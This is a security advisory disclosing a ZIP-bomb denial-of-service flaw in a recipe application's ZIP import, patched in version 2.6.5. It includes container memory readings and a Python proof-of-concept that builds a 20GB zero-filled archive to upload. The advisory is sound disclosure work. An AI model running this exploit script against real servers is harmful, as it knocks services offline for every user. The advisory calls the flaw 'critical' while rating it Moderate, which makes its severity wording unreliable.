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Denial of Service via Recipe Import

Moderate vabene1111 published **GHSA-w8pq-4pwf-r2m8** last week

Package

No package listed

Affected versions

<2.6.5

Patched versions

2.6.5

Description

Summary

A critical Denial of Service (DoS) vulnerability was in the recipe import functionality. This vulnerability allows an authenticated user to crash the server or make a significantly degrade its performance by uploading a large size ZIP file (ZIP Bomb)

Discription

The application provides a functionality to import recipes from a ZIP archive. The `create_from_zip` function extracts files from the uploaded archive directly into memory using `myfile.read()`. It does not validate the uncompressed size of the files before reading them which could leads to the Denial of Service

Source file which leads to the vulnerability is `mealie/services/recipe/recipe_service.py` -> `create_from_zip`

PoC

A Proof of Concept (PoC) ZIP file was created containing a 20GB "zeroes" payload compressed into a ~20MB archive. When uploaded to the `http://localhost/recipe/import` (recipe import via App), the server attempted to expand the file into RAM

System Resource Impact which runs on Docker Container:

Baseline Memory: ~300MB per Gunicorn worker

During Exploit: Memory usage spiked to 12.3GB for a single worker process

Available Free Memory: Dropped to ~191MB

Top Output Evidence:

```
minato500 :: ~ » sudo docker exec -it recursing_nash top -b -n 1
Mem: 11793616K used, 159084K free, 245512K shrd, 4212K buff, 725812K cached
CPU:  9% usr  4% sys  0% nic 60% idle 26% io  0% irq  0% sirq
Load average: 5.50 3.37 2.81 4/1418 393
  PID  PPID  USER      STAT  VSZ %VSZ CPU %CPU COMMAND
  46    7  root      S     12.3g 105%  9  0% {gunicorn} /opt/recipes/venv/bin/python /opt/recipes
--threads 2 --timeout 30 --access-logfile - --error-logfile - --log-level 'info' recipes.wsgi
  48    7  root      S     304m  3%  0  0% {gunicorn} /opt/recipes/venv/bin/python /opt/recipes
--threads 2 --timeout 30 --access-logfile - --error-logfile - --log-level 'info' recipes.wsgi
  47    7  root      S     300m  2%  2  0% {gunicorn} /opt/recipes/venv/bin/python /opt/recipes
--threads 2 --timeout 30 --access-logfile - --error-logfile - --log-level 'info' recipes.wsgi
   7    1  root      D     28360  0%  9  0% {gunicorn} /opt/recipes/venv/bin/python /opt/recipes
--threads 2 --timeout 30 --access-logfile - --error-logfile - --log-level 'info' recipes.wsgi
  15   11  nginx     S     12636  0%  8  0% nginx: worker process
  13   11  nginx     S     12636  0% 11  0% nginx: worker process
```

The process (PID 46) reached 12.3GB committed memory (105% of physical VSZ), consuming all available resources and likely causing severe swapping or OOM kills

Impact of this high severity

- Ease of Exploitation: Creating a ZIP bomb is trivial. The attack requires only a standard user account and a standard file upload
- Unrestricted File Upload (file size is not checked)
- It is common in all zip file upload functionalities
- Impact: It causes a complete denial of service. The operating system's OOM (Out of Memory) Killer will terminate the application process, or the server will swap to death, making it unresponsive to all users
- Data Amplification: The compression ratio allowed the attacker to send a very small payload (< 20MB) that expanded to > 20GB in memory (Ratio > 1,000:1)
- No Special Access: It does not require administrative privileges
- The file size can be generated according to system. For the docker 20GB file showed the impact, but for production servers may vary

Exploit Script: (for 20GB)

```
import zipfile
import os

def create_zip_bomb(filename="bomb.zip", size_gb=1):
    print(f"[*] Creating {filename} with a {size_gb}GB payload...")

    with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED, allowZip64=True) as zf:
        with zf.open('recipe.json', 'w', force_zip64=True) as f:
            f.write(b'{"name": ""}')
            chunk_size = 1024 * 1024 * 10
            total_bytes = size_gb * 1024 * 1024 * 1024
```



```

written = 0

# Content of 0s
zeros = b'0' * chunk_size

while written < total_bytes:
    f.write(zeros)
    written += chunk_size
    if written % (1024 * 1024 * 100) == 0:
        print(f"    Written {written / 1024 / 1024:.0f} MB...")

# End JSON
f.write(b'"}')

print(f"[+] Created {filename}. Upload this file to Mealie's 'Import from ZIP'
feature.")
print(f"    Compressed size: {os.path.getsize(filename) / 1024 / 1024:.2f} MB")

if __name__ == "__main__":
    create_zip_bomb("bomb.zip", size_gb=20)

```

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-27460

Weaknesses

► CWE-409

Credits

 **minato500**

Reporter